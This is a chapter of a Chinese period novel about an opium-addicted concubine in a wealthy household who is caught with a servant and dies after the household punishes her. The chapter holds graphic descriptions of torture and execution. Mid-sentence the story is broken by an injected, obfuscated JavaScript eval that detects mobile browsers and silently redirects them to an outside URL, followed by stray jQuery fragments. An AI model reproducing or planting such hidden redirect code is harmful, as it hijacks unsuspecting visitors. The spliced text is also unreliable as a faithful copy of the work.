话音刚落，门外传来一阵急促的脚步声。


    管家爷少有地失了态，小跑进门道：“大事......大事不好了........四房出事了！”


    沈素秋赶忙放下手中账簿，和雪樵匆匆往四姨太住处赶。人还没到，就远远望见一群丫鬟仆从聚在造梦轩门前，将整座房子围得水泄不通。院子里头也站满了人。


    大太太如芸站在人堆前，面若金刚，不发一语。


    她身前是一对衣不蔽体的男女，男的是灶房拉风箱的伙夫，女的.......


    女的是四房太太温灵。


    沈素秋走近一瞧，见温灵满脸泪痕，坐在地上又哭又笑。她衣领大敞，露出一抹艳红的肚兜，下身的裙摆成了一地碎布条子，手里还拽着一柄长笛似的烟枪。


    “夫人.......夫人身上还有烟吗........”温灵拉着她的宽袖，泫然欲泣，“给我........我要烟.......给我点烟吧……”


    下人堆里议论如沸，周铁生也在其中，沈素秋和他堪堪对视了一眼。


    “你们谁有烟.......哪个有烟？”


    她战战栗栗地伸出那只枯手，向围观的下人们挨个讨要过去。


    “你们身上谁有大烟？给我.......给我大烟.......把你们的大烟全部都给我！”


    众人吓得退避三尺。


    “真的是疯了。”如芸面色平静，但眼神早已深恶痛绝：“且不论你又被人撞见通奸下人，现在居然还染上了这糟烂玩意儿........你........”


    她抬起手，巴掌迟迟不忍落下。


    “我看天王老子来了都救不了你！”


    如芸收回蓄力的巴掌，转过身去，看都懒得再看她一眼。


    “来人，按家规处置。先把这爷们给我吊起来！”


    身后众壮汉包括周铁生一起，将地上的伙夫套上三捆麻绳，随即绑在旁边一棵老榆树上。


    柔柔晚风吹过，伙夫如同老树结出的硕果，晃悠在灵动的月色中，散发出活人勿近的气息。


    “夫人！是她勾引我的！我是冤枉的夫人！”伙夫嘶声嚎啕，如人鱼般摇晃着下肢，“是她！她说老爷立不起来，说她二八芳华，空房寂寞咧……这一切都不干我的事，我也是被她害成这样的！她就是个祸水！”


    “这儿轮不到你来说话！”


    傅如芸死死瞪了他一眼，“她再是不堪，你也没资格攀咬她！她只要还在四姨太的位置上一天，她就还是你的主人家！”


    伙夫闻罢哇哇大哭，泪撒了一地。


    而温灵像是已经猜到男人会往自己身上泼脏水一样，“嘿嘿嘿”地笑了，她抓起自己一撮儿头发，站起身来，踉踉跄跄地走到那伙夫面前，打趣道：“你个瓷锤！哈哈！”


    “别以为我不知道你们都想看我的笑话……”她抠咬着指甲缝的黑泥，自言自语：“你们一个个明面上捧着我、敬着我，背地里都瞧不起我……”


    “看不起我！”


    她由笑转变成了哭，站在原地，张开双臂，肆无忌惮地蹦跳着。


    “哇！好多烧鸡！你们看啊，天上下了好多烧鸡！”


    “你是烧鸡……”


    她指着人群中一个丫头。


    “你也是只烧鸡……”


    温灵蠢蠢地笑着。


    “你们是烧鸡……你们全都是烧鸡……烧鸡万岁！烧鸡万岁万万岁！”


    她跪在地上，冲着这群烧鸡状的人群，不停地磕着头。


    沈素秋站在人群里，牢牢抓着钟雪樵的手，在她手臂上抠出细密的甲痕。周铁生不知什么时候贴了过来，在黑暗中，捏住了沈素秋的另一只手。


    “我告诉你们，这些烧鸡都是我的……”温灵捂住胸口，唱唱叫叫，“你们都是我的……我今天先吃你，明天再吃他，我后天吃两只，大后天吃三只……没有人能抢走我的烧鸡……哈哈哈我爱吃烧鸡……我最讨厌吃烧鸡……”


    看着无动于衷乃至一言不发的人们，她身子一抽，像是意识到什么，又一副痛哭流涕状：“为什么你们都不说话……？哥哥嫂嫂，是不是灵灵又做错了什么？你们为什么不愿意理我？”


    沈素秋的眼睛有些进沙了，她摸了摸衣襟，发觉出来时忘把帕子带在身上。身旁的某人扯下搭在肩上的褡裢，卷成一团，塞到她手上。


    沈素秋将就着用它擦了擦眼泪。


    疯闹还在继续。


    温灵侧躺在地上，全身缩成了一只小动物，全身抽搐道：“你们别把我送走好不好……我不想进窑子……我以后一定听话……一定不会花用家中一分半厘……”


    一滴泪滑落脸畔，温灵哭声不大，却使院儿里所有人震耳欲聋。


    “我吃得很少的……我每顿只喝水……喝汤……不吃米……你们别把我卖掉好不好？”


    沈素秋再也看不下去了，提步向前迈了一步，却被男人拦住了去路。


    他冲沈素秋摆了摆头，捏住她的那只手，发了发力，将她从稍前的位置拽了回来。


    “都下去吧。”如芸亦不忍直视，“爷们就先处置了吧。”


    “那四太太……？”管家爷一样面含泪光。


    在场人无不动容。


    “先把她带回去，找人好生看着。”


    傅如芸闭上眼，默默念了句阿弥陀佛。


    “不许她再踏出造梦轩一步，也不许她再碰那些大烟。这两天除了必要的茶水饭菜其余一应停供。我明天一早就写信汇报给老爷，且听他来如何裁断。”


    下人们识趣散去。温灵被几个丫鬟扶着回了屋子，周铁生被大太太使唤着和几个爷们一起，把通奸的伙夫一起料理了——


    沈素秋明白，傅如芸口中的料理，就是将那伙计拖进暴室，动用邱府私刑。


    清廷衙门落寞前，地方大族都制订有详尽的私人条律。所谓国有国法，乡有乡约，府有府训，家有家规。邱府光刑典就有一千三百余条。当中囊含了秦汉老祖时期就流传下来的各类酷刑，什么车裂、俎醢、炮烙、站笼……沈素秋入府时翻过几页刑典，光是看着那些文字就足以让她惊惧，为此她还发了场高烧，在床上养了三天，惹来底下人不少耻笑。


    如果沈素秋没记错的话，邱府刑典有记——“凡通□□逸者，男行断椎、灌铅后，就地瓮杀。”


    所谓瓮杀，就是把人扔进烧滚的大缸中，活活将人蒸死。人们常说的请君入瓮，最初代指的就是瓮杀。


    那伙夫最后怎么样了她不敢多问，但能确定的是，第二天大早霞飞苑不少下人在传：昨晚跟着一起进暴室的爷们，出来以后全都吐了。


    十来个壮汉趴在花园的池塘边，惊起呕声一片。就连府里那个最糙实的男人——铁生，也都吐得像是丢了半条命。到了第二天，那群男人无一幸免地发了烧，和当初的六姨太一样。


    于是底下人都开始有些自责，为着自己当初的嘲笑，个


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15245896|164821||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    个都错以为是沈素秋的心智不够坚硬。可如今见到那群爷们也都吓得下不了床，由此可见，暴室之中，掌刑也是受刑，甚至苦过受刑。


    第二天大早如芸的书信就快马加鞭地送往了姑娘坡，一同送去的还有温灵身边的贴身丫鬟椿儿。只因椿儿一直以来都跟着她，最是了解温灵近来的状况，由她亲自跟邱守成汇报最合适不过。


    隔日，邱守成回了信。大房看完信后，急哄哄地带了一群粗使婆子冲到造梦轩，把四姨太温灵从床上拖了出来。


    温灵被扒光了外衣外裤，钉在了绞刑架上。四名家丁架着她的双手双脚，行走在七月的竹林小径里，那是一条通往戚园的路。


    女人被架在刑架上，微风和煦地亲吻她，几缕碎发遮住她面庞，遮住她眼里无底洞般的醉生梦死。


    她看到了好多鸡。


    冒着黄油、热汽的烧鸡。


    满天的鸡砸下来，弹飞陆地上万千的彩色羽毛。


    温灵笑了。


    她觉得自己像是做了一场精疲力竭的梦。


    怎么办呢……


    温灵打心底里说，丫头，对不住了，我果然还是来找你了。


    女孩在井底向她伸出手，摸摸她的头。没事的，她说灵灵，我不怪你，因为我到你这么大时，也会成为你，我也会这么做。


    一个温灵倒下了，无数个温灵待长成。


    你回到我们中来吧，女孩说，井底不痛苦的，它下面栽满了你喜欢的玫瑰。或月季。或牡丹。


    这场无人在意的处置终以一个女人的死去为结束，所有人都忙着填饱肚子，无人关心一个犯错的女人。


    游行的绞刑架还没走到戚园，腿快的小厮已经开始往回跑。边跑边报：四房太太过身——！


    傅如芸跪在佛堂前，将誊抄好的往生净土神咒放进火盆里，一闭眼，又是一句南无阿弥陀佛。


    钟雪樵看着房里的那幅画，一幅什么画？你看，你也忘了吧？在看一幅除了她自己没人会记住的画。


    二房的凤霞守在床边，抱着孩子泪水涟涟，她唱着他们最爱的童谣：门前石狮笑，眼睛紧紧瞧，夜来风雨声，花落知多少。


    按邱守成的意思，沈素秋替大房热情接待了温灵的哥嫂。在她入土为安的两天后。


    这场秘不发丧的葬礼体现邱府对于内眷声誉的重视，而召见她的家人，也展示出邱家对于这位四姨太讳莫如深的体恤与厚待。


    在正厅妆发齐整地等待温家哥嫂时，沈素秋一直盯着温灵过去常坐的那张旧椅子发呆。


    阳光下，一根羽毛轻轻飘下来，像鸡毛，也像鸟毛。管他什么毛。


    沈素秋把温灵生前一些私物亲手交给了这对男女，他们挑挑拣拣收下了其中尽可能值钱的几件宝贝，其他不能换钱换粮的破烂希望邱府自行处置。


    沈素秋充分尊重他们的意思，但她有个条件，希望他们解答自己一个问题。她一直有个不解之谜。


    为什么自己见到温灵的最后一面，她会说天上掉下了好多烧鸡？


    这显然不符合她风情浪漫的本性。她应该掉花瓣、掉樱桃般胭脂色的雨。就算死，也要死在美美的意象里。


    温家哥一边往怀里塞着玻璃种和帝王绿，一边蛮不在乎地说，“哦，也没什么的吧。大概是小时候喜欢吃烧鸡？那时候家里穷，我们买不起烧鸡。”


    “你记错了，”大嫂指正了他，“当年我们把她送到花街，换来的，就是一只烧鸡。”